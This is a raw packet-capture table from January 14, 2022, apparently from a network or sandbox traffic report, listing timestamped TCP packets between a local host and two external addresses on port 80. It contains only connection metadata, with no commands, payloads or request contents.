Jan 14, 2022 02:05:15.044503927 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044543982 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119080067 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119138002 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119179964 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119218111 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119254112 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119256973 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119297028 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119297981 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119338036 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119379044 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119400024 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119416952 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119442940 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119457006 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119498968 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119508028 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119535923 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119575024 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119577885 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119613886 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119651079 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119658947 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119690895 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119729042 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119738102 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119769096 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119807959 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119824886 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119843960 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119884968 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119889975 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.119925022 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119961977 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.119985104 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120001078 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120039940 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120052099 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120078087 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120117903 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120124102 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120155096 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120193958 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120203018 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120234013 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120270014 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120291948 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120309114 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120347977 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120369911 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120385885 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120426893 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120438099 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120464087 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120502949 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120512962 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120543003 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120580912 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120610952 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120620012 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120657921 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120682001 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120697975 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120739937 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120748997 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120775938 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120814085 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120817900 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120851994 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120888948 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120897055 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.120929003 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120966911 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.120980024 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121006966 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121046066 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121054888 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121083975 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121121883 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121130943 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121161938 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121198893 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121208906 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121239901 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121278048 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121284008 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121316910 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121355057 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121361017 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121392012 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121429920 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121436119 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121469021 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121505022 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121517897 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121543884 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121581078 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121591091 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121620893 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121660948 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121665001 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121696949 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121736050 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121737957 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121774912 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121810913 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121823072 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121869087 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121911049 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121916056 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.121948957 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121987104 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.121994972 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.122025967 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122062922 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122076035 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.122101068 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122139931 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122147083 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.122176886 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122214079 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122219086 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.122251987 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122289896 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122293949 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.122328997 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.122375965 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199599981 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199621916 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199640989 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199657917 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199672937 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199687958 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199712038 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199717045 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199727058 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199743032 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199759960 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199762106 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199769974 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199779034 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199795961 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199812889 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199827909 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199846029 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199862003 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199878931 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199884892 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199894905 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199896097 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199902058 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199913979 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199938059 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199954987 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199970961 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199981928 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.199987888 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.199995041 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200006008 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200021982 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200037956 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200052977 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200068951 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200082064 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200084925 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200094938 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200100899 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200105906 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200114012 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200119019 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200135946 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200153112 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200169086 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200186014 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200202942 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200220108 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200222969 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200233936 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200236082 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200242996 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200252056 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200253010 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200269938 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200288057 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200304031 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200320005 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200333118 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200335979 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200345039 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200354099 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200355053 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200371027 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200386047 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200402021 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200417995 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200433969 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200439930 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200448990 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200453043 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200462103 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200467110 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200484037 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200500011 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200510025 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200515985 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200521946 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200531960 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200546026 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200547934 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200565100 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200579882 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200594902 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200606108 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200612068 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200617075 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200628042 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200644016 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200653076 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200659990 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200675011 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200690031 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200705051 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200706005 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200721025 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200721979 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200738907 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200752020 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200752974 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200768948 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200771093 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200788021 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200802088 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200812101 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200819016 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200834990 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200845957 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200851917 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200869083 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200869083 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200884104 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200900078 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200906038 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200913906 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.200922012 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.200983047 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.201261997 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.275913954 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.276011944 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.992803097 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.063401937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.065238953 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.072099924 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.183592081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.183836937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.183862925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.183886051 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.183908939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.183932066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.183934927 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.183955908 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.183967113 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.183980942 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.184014082 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.184015989 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.184037924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.184058905 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.184061050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.185051918 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.254905939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.254997969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255042076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255081892 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255104065 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255120039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255148888 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255158901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255198956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255237103 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255245924 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255275011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255276918 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255312920 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255351067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255390882 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255395889 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255429029 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255439997 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255467892 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255507946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255544901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255558014 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255589008 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.255608082 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255671978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255712032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.255759954 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.301099062 CET	49881	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.326621056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.326819897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.326920986 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.326931000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.326983929 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.326984882 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327024937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327064037 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327101946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327121019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327142000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327182055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327218056 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327218056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327253103 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327256918 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327295065 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327331066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327359915 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327369928 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327409029 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327409983 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327450037 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327470064 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327488899 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327524900 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327548981 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327563047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327601910 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327611923 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327637911 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327701092 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327742100 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327794075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327832937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327846050 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327871084 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327909946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327948093 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.327961922 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.327986956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328001022 CET	49879	80	192.168.2.3	141.8.194.74
